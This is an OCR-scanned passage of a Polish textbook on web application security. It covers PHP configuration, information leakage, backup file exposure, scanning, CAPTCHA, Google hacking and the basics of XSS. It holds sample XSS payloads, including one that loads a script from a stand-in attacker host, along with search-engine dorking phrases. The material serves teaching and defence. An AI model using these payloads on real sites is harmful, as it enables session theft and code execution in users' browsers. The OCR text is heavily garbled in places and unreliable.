Prawa operacji na plikach nie nalezy nadawacC zwyklym uzytkownikom, a jedynie

administratorom i superwizorom systemow hostowanych aplikaciji.



60 Wspotczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

2.5. PROBLEMY KONFIGURACJI SRODOWISKA PHP

Standardowa konfiguracja interpretera PHP w srodowiskach UNIX znajduje sie w pliku
php.ini w katalogu etc/php5/apache2/php.ini. Zawiera on dyrektywy,
w oparciu o ktére wykonywane sg interpretowane skrypty. Mozna nadpisywac niektére
ustawienia przy uzyciu modutu serwera HTTP mod php zawierajgc w pliku

.htaccess rozne dyrektywy (listing 2.11).

Listing 2.11. Ustawienie dyrektywy konfiguracyjnej PHP w pliku . htaccess

<ifModule mod php5.c>
php value nazwa dyrektywy wartosc
</ifModule>

Zrédfo: opracowanie wtasne

Ustawienia konfiguracji interpretera PHP mogg mie¢ istotny wplyw na
bezpieczenstwo aplikacji. Domyslne ustawienia zwykle sg dostosowane do trybu
wytwarzania aplikacji, dlatego tez w trakcie wdrazania wersji produkcyjnej serwisu
powinny by¢ zmodyfikowane. Szczegdlng uwagag nalezy zwréci¢ przy tym na
nastepujgce dyrektywy:
register globals[=On|Off] — okresla, czy parametry przekazane jako EGPCS

(ang. Environment, Get, Post, Cookie, Server) majg by¢ uzyte w skrypcie jako

zmienne globalne; oznacza to, ze klient przekazaé moze do wykonywanego

programu dowolnie nazwang zmienng; dyrektywa ta z uwagi na swojg
funkcjonalnos$¢ zostata zniesiona w PHP w wersjach powyzej 5.3, jednak wcigz

mozna spotkac w sieci serwery uzywajgce nawet na PHP 4;
error reporting — okre$la, czy i jakie komunikaty/ostrzezenia wy$wietla¢

uzytkownikowi w przypadku awarii wykonywanego kodu; wtgczone raportowanie

btedébw naraza aplikacie na wyciek informacji pomocnych agresorowi

w przygotowaniu ataku (przyktad podany zostat na rysunku 1.5); w wersjach

deweloperskich stosuje sie zwykle wartosé¢ ALL, ktoéra informuje o wszystkich

mozliwych btedach; w wersji produkcyjnej nalezy bezwzglednie wytgczyc
raportowanie poprzez ustawienie wartosci NONE;

open _basedir — systemach UNIX PHP dziedziczy prawa po uzytkowniku, na
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prawach ktérego uruchomiony jest serwer HTTP; aby ograniczy¢ zakres dostepu
dla instrukcji korzystajgcych z systemu plikow dyrektywie nalezy przypisac ich
Sciezki rozdzielone znakiem separacji sciezek (na ogot jest to: ;);

magic_quotes gpc — dyrektywa (zniesiona od wersji 5.3) wigcza automatyczng
funkcje ucieczki dla znakow specjalnych przekazywanych w parametrach klienta
(w tym przypadku poprzedzenie znakiem \); mechanizm ten nie stanowi zadnego
zabezpieczenia, poniewaz funkcje ucieczki nie sg uniwersalne, a zalezne od
stosowanych w aplikacji komponentow;

disable functions — dyrektywa zawiera liste funkgiji, ktorych interpreter nie bedzie
wykonywac; mozne przyktadowo zablokowac¢ funkcje exec wykonujgcg program
zewnetrzny, o ile nie ma potrzeby jej uzycia;

allow url include[=0n|0Off] — zezwala lub odmawia interpreterowi PHP na
przetwarzanie plikow ze zdalnych serweréw; uzywana jest przez funkcje
include (), require(), include once (), require once();

allow url include[=0On|0Off] — zezwala lub odmawia interpreterowi PHP na
pobieranie plikéw (bez przetwarzania) ze zdalnych serweréw; uzywana jest m.in.
przez file(), fopen(), readfile () itp.;

session.use only cookies - ustala czy przetrzymywac identyfikator sesji tylko

i wytgcznie w cookie.

Niektére zasoby systemowe uzyte przez interpreter PHP majg szczegdlne
znaczenie z punktu widzenia bezpieczenstwa. Jest to m.in. katalog do ktérego
wgrywane sg pliki wysytane przez klienta aplikacji. Pliki te pozostajg w tym katalogu
do momentu ich przeniesienia lub zakonczenia dziatania skryptu, po czym sg
automatycznie kasowane. Katalog ten zdefiniowany jest w dyrektywie
upload tmp dir. Zasady bezpieczenstwa kazg zadbac o to zeby:

e katalog nie znajdowat sie w folderze udostepnianym publicznie (np. przez

serwer HTTP),

o tylko witasciciel (uzytkownik na prawach ktoérego uruchamiany jest serwer

HTTP) miat prawo do zapisu i odczytu w nim.

Drugim newralgicznym punktem jest katalog przetrzymywania danych o sesji (o ile
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przetrzymywane sg w plikach) zdefiniowany dyrektywg session.save path.
Podlega on identycznym restrykcjom jak katalog plikow tymczasowych (moze by¢ to
nawet ten sam katalog) z tg réznicg, ze przetrzymywane dane sg z reguly wazniejsze,
poniewaz przechwytujgc np. identyfikator sesji z aplikacji korzysta¢ mozna na
prawach uwierzytelnionego uzytkownika, pod ktérego podszywa sie haker. Pliki ses;ji
zawierajg dane przetrzymywane na potrzeby logicznego potgczenia klient-serwer.
Modyfikujac je wptywa sie na zachowanie logiki aplikacji, co moze mie¢ zgubne skutki

(np. zmiana zawarto$¢ koszyka e-sklepu na zupetnie inng).



3

Ujawnienie informacji poufnych

Cel

Aplikacje internetowe narazone sg na mozliwo$¢ ujawnienia informacji w sposéb
nieuprawniony. Istniejg rézne elementy aplikacji, gdzie dane istotne z punktu widzenia
bezpieczenstwa sg przechowywane lub przesytane. Brak kontroli dostepu do takich
elementéw, ich niepoprawne zabezpieczenie oraz sam fakt generowania niektérych
danych w wersjach produkcyjnych oprogramowania mogg utatwi¢ poszerzenie wiedzy
atakujgcego o aplikacji lub tez wspomdc nieuprawnione pozyskanie danych. Do
powyzszych zagrozen dochodzg takze kwestie zwigzane z pospolitym (ij. tatwym do
odgadniecia) nazewnictwem plikéw i ich kopii zapasowych. Tworcy serwisow
wyszukiwawczych (a wiasciwie opracowane przez nich programy) w poszukiwaniu
danych bardzo czesto skutecznie przetamujg niepoprawnie skonfigurowane zabez-
pieczenia witryn internetowych.

Plan

1. Woyciek informacji i jego konsekwencje.

2. Ujawnienie plikéw Zrédtowych serwisu.

3. Skanowanie zasobow i ochrona przed nim.
4

Wykorzystanie wyszukiwarek do nielegalnego pozyskania tresci.
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3.1. WYCIEK INFORMACJI

Woyciek informacji (ang. Information Leakage) to udostepnienie przez agresora danych
osobom (w tym i na przyktad sobie) danych, do ktérych odbiorca nie ma uprawnien.
Zjawisko to moze spowodowaé duze straty na gietdzie. ,Prawdziwg ,bombg” za
oceanem byfa nieoczekiwana publikacja wynikow przez Google, ktére miaty pojawic
sie tuz po zamknigciu handlu. Informacje jednak wyciekty ok. 18:30 naszego czasu.
Na domiar ztego byly bardzo stabe (EPS 9,03 USD vs 10,65 USD oczekiwanych).
Akcje informatycznego giganta spadaty o 10%, a obrét wstrzymano na dwie godziny
(ostatecznie — 8%).” — cytat z (Fatalny, 2012), kompromitacje haset (Filmweb.pl, 2012)
czy dyplomaciji i polityki panstw (Ujawnienie, 2012).

Istnieje wiele miejsc w aplikacjach powodujgcych wyciek informacji. Do typowych
nalezg nastepujgce (Well, 2008):

Bledy administratorow tresci witryn internetowych, powodujgce zbyt wczesne,
nieprawidtowe opublikowanie na nich tresci. Sg to typowe bitedy ludzkie na etapie
eksploatacji aplikacji internetowej. Oczywiscie cze$¢ witryn specjalizuje sie w tego
typu dziataniach. Wowczas to wyciek informacji jest dziataniem zamierzonym.

Btedy programistow, polegajace na zapisie wrazliwych danych w miejscach
ogolnie dostepnych, np. w polach formularzy, nagtéwkach, cookies, komentarzach lub
kodzie JavaScript aplikacji. Takie dane mozna bardzo tatwo wyswietli¢ przez wglad
do zrédta. Przyczyny takiego problemu sg rézne, ale zwykle zwigzane z brakiem
przewidywania problemu przez programistow.

Raporty btedéw, generowane podczas wykonywania kodu aplikacji. Dane to
zapisywane sg do standardowego strumienia wyjscia (czyli na ogét okna
przegladarki), strumienia btedow lub pliku dziennika. Ujawniajg one strukture aplikacji,
nazewnictwo i inne wrazliwe informacje — rysunek 3.1.

Pozostawianie danych tymczasowych w aplikacji, np. plikéw roboczych,
starych wersji programoéw czy rezultatow testowania.. Mogg to by¢ réwniez informacje
stuzgce do odrobaczania aplikacji (ang. Debugging) oraz rejestracji zdarzen

w aplikacji. Srodowisko PHP nie posiada wbudowanego mechanizmu odrobaczania
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i profilowania, lecz mozliwe jest skorzystanie z dostepnych rozszerzen takich jak DGP,
ADP czy Xdebug (Debug, 2012). Pozostawienie wersji roboczej pOlikéw programu
w potaczeniu z btedem w konfiguracji sSrodowiska wykonawczego moze spowodowac

wystanie kodu zrédtowego do klienta.

Warning: fopenthome jeonline/domains jeonline.pl fpublic_html[cache fallCategories. cache) [function fopen]: failed to open stream: Mo such file or directory in fhome feonline fdomains
feonline_pl {public_htmlfinclude [function.php on line 2733

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent foutput started at fhome feanline/domains/eonline.pl{public_html{include
Jfunction.php:2733) in fhome feonline fdomains feonline.pl fpublic_html finclude fconfig.php on line 218

Warning: fopenthome jeonline /domains jeonline.pl fpublic_htmlcache fallCategories. cache) [function fopen]: failed to open stream: Mo such file or directory in fhome feonline fdomains
feonline_pl {public_htmlfinclude [function.php on line 2733

Premiery  Ostatnie  Maj. ogladane  Maj. komentowane  Ulubione  Majwyzej Ocenione  Wyrdznione  Losowe

Rys. 3.1. Przyktad wycieku informacji poprzez wystanie btednego zgdania i komunikatu bfedu

Zrédfo: opracowanie wtasne

By unikng¢ czesci wskazanych probleméw nalezy dzieli¢ aplikacje na rézne jej wersje.
Podstawowy podziat zaklada wersje deweloperska (ang. Development) oraz
produkcyjng (ang. Production). Wersje deweloperskg cechuje zazwyczaj fakt, ze
zawiera ona pliki ze starymi wersjami kodu aplikacji oraz rozbudowany system
raportowania bteddéw, ktéry to stuzy do testowania aplikacji. Komunikaty o btedach
w wersji deweloperskiej sg rozbudowane i zwykle wys$wietlane w standardowym
strumieniu  wyjscia. W programach wersji deweloperskiej obecne sg takze
szczegbtowe komentarze programistéw. Wersje produkcyjne powinny mie¢ usuniete
wszystkie zbedne w etapie eksploatacji dane (w tym stare wersje programow
i komentarze). Szczegotowe komunikaty o btedach powinny w nich by¢ zastgpione
bardziej ogolnymi, typu: "zasobu nie odnaleziono" czy "nieoczekiwany btgd" (rysunek
3.2). W wersjach produkcyjnych szczegotowe komunikaty o btedach i zdarzeniach
zapisywane sg do strumienia btedéw lub pliku dziennika, co sprawia, ze informacje
istotne z punktu widzenia bezpieczenhstwa sg niedostepne dla potencjalnego agresora.

W $rodowisku PHP maskowanie komunikatéw (tj. nadpisanie standardowych

funkcji generujgcych komunikaty o btedach) mozliwe jest przy pomocy nastepujgcych
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fu

nkcji (zdefiniowanych w skrypcie):
set _error handler () - ustawia funkcje obstugi bledéw

set exception handler () - ustawia funkcje obstugi wyjgtkow.

W wersjach produkcyjnych oprogramowania mozna wykorzysta¢ ten mechanizm

w

celu wyswietlenia btedu w postaci ogélnej.
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logowanie rejes]

(lubelskie) Praegladas oferty

Wystapit Blad
Wrystapitl blad, przepraszamy.

Administracja serwisu zostala powiadomiona.

Rys. 3.2. Zastosowanie bfedu ogdinego w wersji produkcyjnej oprogramowania — zadne poufne

informacje nie sg udostepniane
Zrédfo: opracowanie wiasne

W srodowisku PHP za raportowanie btedéw odpowiadajg:

dyrektywa konfiguracyjna error reporting - odpowiada za poziom
wyswietlanych btedow (jest ona opisana w rozdziale 2.5),

dyrektywa konfiguracyjna display errors — od wersji PHP 5.2.4 odpowiada za
wyswietlanie btedow w standardowym strumieniu wyjscia lub strumieniu btedow —

we wczeshiejszych wersjach przyjmuje warto$¢ logiczng On/0f £,

e funkcja error reporting() — pozwala na modyfikacje poziomu raportowania

bledow,
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e blok try{...}catch(){}... — stluzy do obstugi wyjatkdéw (ang. Exception) —
nieobstuzone wyjatki zgtaszane sg jako btedy krytyczne,
e operator @ uzyty przed wyrazeniem spowoduje, ze nie wygeneruje ono btedu

(np. Qgetimagesize () ).

3.2. UJAWNIENIE PLIKOW ZRODLOWYCH

Programy do zarzgdzania plikami lub sami programisci pozostawiajg na serwerze
roboczym kopie plikow celem umozliwienia sobie powrotu do wersji wczesniejszych.
Bardzo niedobrym rozwigzaniem jest robienie tego poprzez dodanie do nazwy pliku
rozszerzenia typu .bak (od ang. Backup). W okreslonych warunkach
(np. przekopiowanie projektu z serwera deweloperskiego na produkcyjny bez zmian)
taka operacja zakonczy¢ sie moze wyswietleniem klientowi zawartosci (a wiec zrodet
programu) kopii zapasowych przetrzymywanych plikéw. Dzieje sie tak dlatego, ze
pliki z rozszerzeniem .php, serwer HTTP poddaje je dziataniu parsera, ktéry to
wykonuje kod i zwraca jego rezultat, natomiast inne - niezdefiniowane uprzednio jako
wykonywalne - rozszerzenia powodujg potraktowanie pliku w sposéb standardowy,
czyli do przegladarki zostanie wystana ich oryginalna zawarto$¢ (rysunek 3.3).
W potfgczeniu z opcjg automatycznego listowania katalogéw, zagrozenie to jest
szczegoblnie wysokie, poniewaz pliki widoczne sg w trybie publicznym. W tej sytuaciji
atakujgcy ma bardzo proste zadanie — w celu zapoznania sie z zawartoscig pliku
wystarczy, ze kliknie w link wygenerowanej automatycznie listy plikow. Roboty
internetowe (np. Google-Bot) indeksujg informacje o plikach i nawet w przypadku ich
pbzniejszego skasowania z serwera, gdzie$ w Internecie wcigz mogg pojawiac sie ich
kopie. Jesli zatem serwer deweloperski (uzywany na etapie programowania aplikaciji)
byt widoczny z zewnatrz to nawet poprawna migracja oprogramowania do wersji
produkcyjnej nie zapewnia dostatecznej ochrony przed ujawnieniem zawartosci plikéw
zrodtowych. Wytgcznie opcji indeksowania katalogébw takze nie rozwigzuje
opisywanego, poniewaz istniejg narzedzia pozwalajgce na automatyczne rozpoznanie

i odwzorowanie mapy zasobow witryny. Haker zawsze postuzy¢ sie moze tez wtasng
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intuicjg w celu odgadniecia nazwy potencjalnie interesujgcego pliku. Jest to czesto
utatwione ze wzgledu na stosowanie przez programistow okreslonych wzorcéw
nazewnictwa, np. serializacja nazw (pliki uzyskujg nazwy zakonczone kolejnymi

numerami wersji).
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Rys. 3.3. Przykiad Zle nazwanych plikow kopii zapasowych

Zrédfo: opracowanie wiasne



Ujawnienie informacji poufnych 69

Istnieje wiele przyktadéw niebezpiecznych systemoéw nazewnictwa kopii plikéw
z programami zrodtowymi. Do najczesciej stosowanych nalezg (Hoffman i Sullivan,
2009): index.bak, index.old, index.tmp, index.php.tmp, index.php.2 czy
tez Copy of index.php.

Jako przeciwdziatanie ujawnieniu plikow zrédlowych zaleca sie korzystanie
Z narzedzi stuzacych do wersjonowania oprogramowania — VCS (ang. Version Control
System). Przyktadem takiego systemu jest CVS (ang. Concurrent Versions System)
czy tez RCS (ang. Revision Control System). Umozliwig one powr6t do wersji pliku
z dowolnego dnia trwania projektu informatycznego bez tworzenia ogdlnie dostepnych
kopii zapasowych. Jezeli jednak nie ma mozliwo$¢ uzycia takich narzedzi, zaleca sie
nazywaé pliki tak, by ich oryginalne rozszerzenie pozostato niezmienne
(np. index.bak.php), co uniemozliwi potraktowanie ich jako zwykilych plikow
tekstowych przez serwer HTTP i zwiekszy poufnos¢ kodu aplikacji.

Trywialnemu wyciekowi informacji poprzez ,zakomentowanie” przez programiste
fragmentow kodu witryny internetowej trudno jest zapobiec inaczej nizli poprzez

catkowity audyt kodu.

3.3. SKANOWANIE ZASOBOW | OCHRONA

Pozyskujac informacje o zasobach, z ktérych skiada sie witryna internetowa,
atakujgcy poza wiasng intuicja moze sie postuzyC calg gammg programow
automatyzujgcych tg czynnos$¢. Programy takie poza tworzeniem mapy zasobdw
(tj. zestawu nazw plikow) witryny testujg takze réznego rodzaju punkty wejscia
i wyjscia aplikacji w poszukiwaniu btedéw lub podatnosci. W stownikach tego rodzaju
oprogramowania skanujgcego znalezé mozna tez nazwy popularnych exploit'déw
(tj. program majgcy na celu wykorzystanie luki oprogramowaniu), dzieki czemu
atakujacy zyskuje bezposrednig informacje o mozliwosci ataku na aplikacje poprzez
zawarte w niej ztosliwe oprogramowanie.

Uzycie programow skanujgcych witryne jest rowniez wskazane dla testeréw
aplikacji. Zwiekszenie poziomu wiedzy na temat podatnosci serwisu internetowego

pozwoli im podjg¢ stosowne dziatania majgce na celu poprawe bezpieczenstwa.
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Istnieje caly szereg ogdlnodostepnych programéw skanujgcych w sposob
automatyczny witryny internetowe. Do najbardziej popularnych nalezg Nikto i Skip
Fish. W Internecie funkcjonuje caly szereg innych programéw, ktére w sposob
automatyczny przeszukujg jego zawartos¢. Sg to zaréwno roboty serwiséow wyszu-
kiwawczych, jak tez i specjalizowane programy pozyskujgce np. adresy pocztowe
w celu pozniejszego wysytania niechcianych listéw, czyli spamu (gtéwnie z ogtosze-
niami, ale nie tyko).

Programy skanujgce charakteryzuje duza szybkos¢ przeglgdania Internetu
(tj. generowania zapytan do serwiséw). Pozwala to na mniej lub bardziej brutalne
(tj. polegajgce na generowaniu kolejnych zapytan o zawartosci stanowigcej przeglad
wszystkich mozliwosci) przegladanie witryny. Podstawowg ochrong przed dziataniem
tego typu oprogramowania jest wykrycie programu jako klienta witryny, a wiec
rozréznienie automatu od cziowieka. Mechanizm ten nosi nazwe CAPTCHA (ang.
Completely Automated Public Turing test to tell Computers and Humans Apart).
CAPTCHA jest testem, polegajgcym na wystaniu do klienta serwisu informag;ji
zrozumiatej tylko (w teorii) dla czlowieka i oczekiwaniu prawidtowej (zdefiniowanej
przez tworcow testu) odpowiedzi (zwykle znakowej, ale niekoniecznie).

Mechanizm CAPTCHA zmusza cziowieka by udowodnit, ze nim jest. Czynnosci
te sg z punktu widzenia uzytkownika catkowicie zbedne (on wie ze jest cztowiekiem)
i stanowig swoiste przerzucenie na klienta dziatan rozrézniajgcych oprogramowanie
od cziowieka. CAPTCHA (przyktady na rysunku 3.4) sg niekiedy trudne nawet dla
w petni sprawnych osob. Niektére z nich (typu jakie zwierze przedstawia obrazek) sg
niemozliwe do przebrniecia przez osoby stabo wyksztatcone Iub uposledzone
np. wzrokowo. Stosowanie CAPCHA powinno sie cechowa¢ duzg dozg ostroznosci.
CAPCHA zbyt skomplikowane i niedostepne dla niektérych grup ludzi (szczegolnie
niepetnosprawnych) powodujg zniechecenie uzytkownika i jego rezygnacje z dziatan
na witrynie internetowej. Mechanizm CAPTCHA jest ustawicznie udoskonalany.
Przyktadowo Google Re-Chaptcha ma wbudowany odczyt tekstu, uruchamiany na
zgdanie. Opcja taka jest oczywiscie bardzo wazna dla oséb niewidomych.

Bardzo czesto CAPTCHA jest ochrong ustug bardzo dolegliwg dla uzytkownikéw
(nie tylko tych niepetnosprawnych, ale réwniez tych petnosprawnych), ale bardzo

czesto niestety zgodng z prawem. Przykladem jest zastosowanie CAPTCHA do
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okresowego (co godzina w 2014 roku) odnawiania potgczenia w darmowym dostepie
do Internetu w sieci aero’ — rysunek 3.5. Takie odnawianie jest niedostepne dla oséb
niepetnosprawnych i czesto uniemozliwiajgce poprawne korzystanie z aplikacji
internetowych (np. przerywajace w skuteczny sposéb sesje zakupu w sklepie interne-
towym lub transakcje bankowg).

Podaj wynik dziatania operacii: dziewied plus dwa

Tutaj wpisz wynik powyzszej operacii: I:I

Wiyl Add Comment
Name Kiris
This comment encry form layout really needs some work. [
Wj I : w Comment

Verify

Tiger
Enter the simple name for thiz animal . for example, if you sea 8 "nosth amen
| ‘Add Comment | | Cancel
Ordering/Ranking Narne
— 3 Email
' Ranking
...................... B b
4 132 T
s 4% i
enter the code exacily as shown above
Coda”
Comment”

Add Conmnat

Rys. 3.4. Rézne przyktady mechanizmu CAPTCHA

Zrédfo: opracowanie wiasne



72 Wspbtczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

<« C' [} bdifree.aero2.netpl:3080

BEZPLATNY DOSTEP DO INTERNETU
L] : E
Niepoprawna odpowiedz.

Przepisz podany kod ponizej

Sprawdz ?

Rys. 3.5. Mechanizm CAPTCHA w dostepie do Internetu

Zrédfo: opracowanie wtasne

3.4. GOOGLE HACKING

Wyszukiwarki, a wiasciwie ich roboty przeszukujgce Internet, zbierajg mndstwo
danych z Internetu. Jakos¢ dziatania wyszukiwarki zalezy od liczby zindeksowanych
(a wiec skopiowanych do systemu wyszukujgcego) stron internetowych. Tworcy
oprogramowania przeszukujgcego Internet czynig je bardzo efektywnym narzedziem
do pozyskiwania danych z witryn. Wiasciwe zadanie zapytania do systemu
wyszukiwarki moze jednak udostepni¢ napastnikowi chronione dane. Wykorzystanie
wyszukiwarek, poprzez odpowiednie sformutowanie zapytan do nich, nosi nazwe
,Google hacking” (Long, 2007). Wysitek wymagany do pozyskania informacji w takim
przypadku jest znacznie mniejszy nizli organizacja wiasnego ataku na witryne.
Wykorzystanie wyszukiwarek do pozyskania dostepu do danych jest zatem wysoce
efektywne (Laskowski, 2012).
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Typowymi zapytaniami do systemow wyszukiwawczych skierowanych na
rozpoznanie lub identyfikacje luk w zabezpieczeniu aplikacji jest pytanie o btedy
serwera czy parsera. Raporty o takich btedach sg zapisywane w plikach i bardzo
czesto mogg by¢ indeksowane przez wyszukiwarki. Sg to frazy typu: Access denied
for user, The script whose uid is, Warning: mysql _ query() czy tez Error Message.
Pozwalajg one uzyska¢ od wyszukiwarki pliki ujawniajgce elementy zrédta programu
(listing 3.1).

Listing 3.1. Rezultaty zapytania wyszukiwarki o btedy wykonania

Warning: mysgl query() [function.mysgl-query]: Unable to save result
set in /www/pasjagsm www/www/forum/db/mysql4.php on line 148
Critical Error!

message die() was called multiple times.

Error #1 Could not obtain common word list

Line : 323

File : /www/pasjagsm www/www/forum/includes/functions search.php
SQL : SELECT word id FROM phpbb search wordmatch GROUP BY word id
HAVING COUNT (word id) > 37040

SQL message: MySQL server has gone away

Error #2 Error doing DB query: pw count fetch
Zrédfo: opracowanie wtasne

Wyszukiwarki indeksujg i wskazujg URLe zasobow, nawet te, ktore teoretycznie
sg chronione. Niepoprawnie skonfigurowany serwer udostepnia zaséb pomimo, ze
znajduje sie on w katalogu, dostep do ktdrego jest zabroniony. Sytuacje taka
przedstawia rysunek 3.6. Bardzo czesto uzytkownicy stosujg tatwe do odgadniecia
schematy nazewnictwa plikéw. Znacznie zwieksza to podatnos¢ na pozyskiwanie
danych chronionych. Jesli bowiem w wyniku Google hackingu mozna uzyskac¢ dostep
do pliku w chronionym katalogu, np.: www...../materialy/pdf/03.pdf, to dos¢ tatwo

mozna sprawdzi¢ inne nazwy plikow, np. 02.pdf czy 05.pdf.
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Wstrzykiwanie tresci i kodu

Cel

W aplikacjach internetowych, jak w kazdym programie, mozna wyrozni¢ punkty
wejscia (dane pobierane) i punkty wyjscia (dane wysylane jako rezultaty
wykonywanych dziatan). Na czes¢ danych wejsciowych klient ma peten wpltyw, inne
dostepne sg dla niego tylko w okreslonych sytuacjach. Do pierwszej grupy zalicza sie
wszelkie parametry przekazane przez klienta w zgdaniu http (rysunek 4.1), do drugiej
natomiast — wysytane przez serwer dane (pochodzace z réznych zrodet) oraz

uruchamiane programy, lokalne na serwerze lub zdalne, np. ustugi sieciowe.

r
/4 Request URI "

r Cookies *

/ POST, GET A
-2 MIME Types P
s HTTP Headars; .
Y User-Agent

', Http-Refferer -
L

Rys. 4.1. Niektore dane wej$ciowe wysytane do serwera podlegajgce manipulacji

Zrédfo: opracowanie wtasne



76 Wspotczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

Klient aplikacji internetowej posiada mozliwos¢ wprowadzania danych, ktére
potem s3 prezentowane innym uzytkownikom. Oprocz tego dane te sg czesto
parametrami sterujgcymi zachowaniem sie aplikacji internetowej. Taka wtasciwosé
sprzyja zagrozeniom.

W rozdziale tym przedstawione zostaty najczesciej wystepujgce problemy,
zwigzane z mozliwoscig szkodliwego wykorzystania przez agresora mechanizmow
przekazywania danych do aplikacji internetowej. Sklasyfikowano i scharakteryzowano
poszczegdlne typy atakdéw, zwigzanych z pobieraniem i wykorzystywaniem przez
aplikacje danych od uzytkownikow.

Plan

Wprowadzenie niechcianych tresci do aplikacji.
Cross-Site Scripting.

Cross-Site Request Forgery.

Wstrzykniecie kodu SQL.

Wprowadzenie kodu skryptu.

L

Manipulacja danymi przesytanymi.
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4.1. WPROWADZENIE NIECHCIANYCH TRESCI DO APLIKACJI

Aplikacja internetowa z definicji prezentuje uzytkownikom dane wprowadzone przez
innego jej uzytkownika. Dane te wprowadzane przez formularze mogg by¢ réznego
typu, w tym i tekstowego. Sg nimi przewaznie komentarze, oceny, wpisy, wiadomosci
do innego uzytkownika itd. W takiej sytuacji pojawia sie zagrozenie, polegajgce na
tym, ze tresci wprowadzane do aplikacji (i w konsekwencji zapamietywane w bazie
danych i prezentowane po6zniej zwykle wielu uzytkownikom) sg niepozadane z punktu
widzenia wiasciciela aplikacji bgdZz przepiséw prawa. Niechciang treSciag moze byé
wulgaryzm, elementy pornografii czy tresci nazistowskie. Ale mogg to tez by¢ wpisy
szkalujgce wtasciciela serwisu lub kogokolwiek innego, a nawet reklamy, umieszczane
bez zgody wilasciciela. Jest to klasyczny problem wszystkich forow dyskusyjnych,
ankiet otwartych czy ocen produktéw.

Ochrona przed wstrzykiwaniem do bazy danych niechcianych tresci jest bardzo
zmudna i sprowadza sie do filtrowania wprowadzanych danych. Filtrowanie automa-
tyczne (z wykorzystaniem np. stownikéw stéw zakazanych) jest bardzo zawodne ze
wzgledu na duze mozliwosci obejscia tego typu zabezpieczenia. Pozostaje filtrowanie

reczne przez cztowieka, czyli moderacja. Moderacja jest powolna i kosztowna.

4.2. CROSS-SITE SCRIPTING

Istota ataku

Ataki typu Cross-Site Scripting (w skrocie XSS) wykorzystujg luki aplikacji
internetowej, uzywajac przy tym danych dostarczonych przez klienta, aby uruchomié
wrogi kod na w przeglgdarce uzytkownika. Wprowadzone dane majg na ogot
charakter ztosliwych skryptéw, ale przybiera¢ mogg dowolng forme (Well, 2008).
Agresor moze uzy¢ dowolnych punktow wejscia aplikacji w celu dostarczenia

wrogiego kodu. XSS szczegdlnie niebezpieczne w serwisach wymagajgcych
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uwierzytelnienia, poniewaz mogg wykona¢ w zasadzie dowolng akcje na prawach
uwierzytelnionego klienta albo tez przesta¢ identyfikator jego sesji do napastnika, to
jest przechwyci¢ sesje (ang. Session Hijacking). Jedyna droga obrony przed takimi
atakami to gruntowana walidacji i filtracja danych wejsciowych oraz wyjsciowych
serwera. XSS wykorzystuje zaufanie jakim uzytkownik obdarza aplikacje internetowa,
by wykonaé wrogie instrukcje. Zbiory znacznikow HTML i ich atrybutéw odpowie-
dzialnych za mozliwe ataki XSS przedstawia tabela 4.1.

Tabela 4.1. Znaczniki umozliwiajgce osadzenie ztoSliwego kodu

Znacznik Uzycie Zagrozenie
<SCRIPT> Osadzanie skryptéw, JavaScript, Wykonanie ztosliwego kodu.
VBScript itp

<OBJECT> Osadzenie obiektéw zewnetrznych: Wykonanie ztosliwego kodu.

<EMBED> ActiveX, Flash, Aplet, Pluginy itp

<APPLET> Osadzenie apletu Java. Wykonanie ztosliwego kodu.

<XML> Osadzenie kodu XML. Wykonanie ztosliwego kodu.

<STYLE> Osadzenie arkusza stylow. Moze zawierac
type="text/javascript"
(arkusz z kodem JavaScript).

Zrédio: (Filtering, 2005)

Elementy z tabel 4.1 i 4.2 mogg postuzyé do zamieszczenia na witrynie
ztosliwego  kodu, ktory zostanie wykonany — przykladowe zastosowanie
zaprezentowane zostato na listingu 4.1.

Ataki XSS mogg by¢ organizowane w rézny sposob. W zaleznosci od miejsca
sktadowania wrogiego kodu dzielg sie na skladowane (ang. XSS Persist) i odbite
(ang. XSS Reflected).
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Tabela 4.2. Atrybuty umoZzliwiajgce osadzenie zto$liwego kodu

Atrybut Znacznik Wartos¢
href A, LINK Adres URL
src FRAME, IFRAME, Adres URL
INPUT type=image,
BGSOUND, IMG
dynsrc IMG Adres URL
lowsrc IMG Adres URL
zdarzenia: onload, onerror, onclick itd. Zaleznie
background BODY, TABLE, TR, Adres URL
TD, TH
style="background-image: url(...)" Niemal kazdy znacznik Adres URL
style="behaviour:url(..)" Niemal kazdy znacznik Adres URL
style="binding:url (...)" Niemal kazdy znacznik Adres URL
style="width:expression(...)" Niemal kazdy znacznik Kod JavaScript
content="0;url=..." META Adres URL

Zrédio: (Filtering, 2005)

Listing 4.1. Przyktady wykonania kodu JavaScript przez znaczniki HTML

<!-- Normalne osadzenie skryptu -->

<script>alert ('XSS')</script>

<!-- Osadzenie skryptu zewnetrznego -->
<script type="text/javascript" src="http://haker.pl/x.js"></script>

<!-- Wykonanie przez klikniecie w odnos$nik -->
<a href="javascript:alert('XSS');">klik</a>

<a href="#" onlclick="javascript:alert ('XSS');">klik</a>

<!-- Wykonanie skryptu przez znacznik IMG -->
<img src="." onerror="javascript:alert ('XSS');"/>

<!-- Wykonanie skryptu przez niemalze kazdy znacznik - naprawiono-->
<span style="background-image: url ('javascript:alert(123)"')"></span>

<!-- Wykonanie skryptu przez niemalze kazdy znacznik -->

<!-- Tylko Internet Explorer -->

<span style="width: expression(alert (456));"></span>

Zrédfo: opracowanie wtasne
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Atak odbity

W atakach odbitych wrogi kod stanowi cze$¢ adresu (lub inny parametr zgdania
HTTP), ktory przekazywany jest ofierze. Link wysylany moze zosta¢ mailem, przez
komunikator, wiadomos¢ prywatng, postem na forum dyskusyjnym lub specjalnie
spreparowang strone — ograniczeniem jest tylko pomystowos¢ sprawcy. Takie
przygotowane putapki czesto opatrzone sg atrakcyjnymi informacjami np. ,Wygrates
w loterii, zeby potwierdzi¢ odbidér nagrody kliknij tutaj
<wrogi adres> lub bardzo mi sie spodobates, zapraszam do
skontaktowania sie ze poprzez strone: <wrogi adres>”. Jezeli ofiara
dokona uruchomienia spreparowanego fgcza nastgpi potgczenie z serwerem HTTP
podatnym na XSS, a wrogi kod zostanie ,odbijany” do przegladarki uzytkownika,
a tam wykonany. Atak mozna uczyni¢ bardziej skutecznym, jezeli zamiast dtugiego
adresu skorzystamy z serwisu skracajgcego URL, np. tnij.pl, w celu ukrycia wrogiego

kodu. Schemat ataku przedstawia rysunek 4.2.

Ofiara taczy sie z serwerem Agresor preparuje wrogi
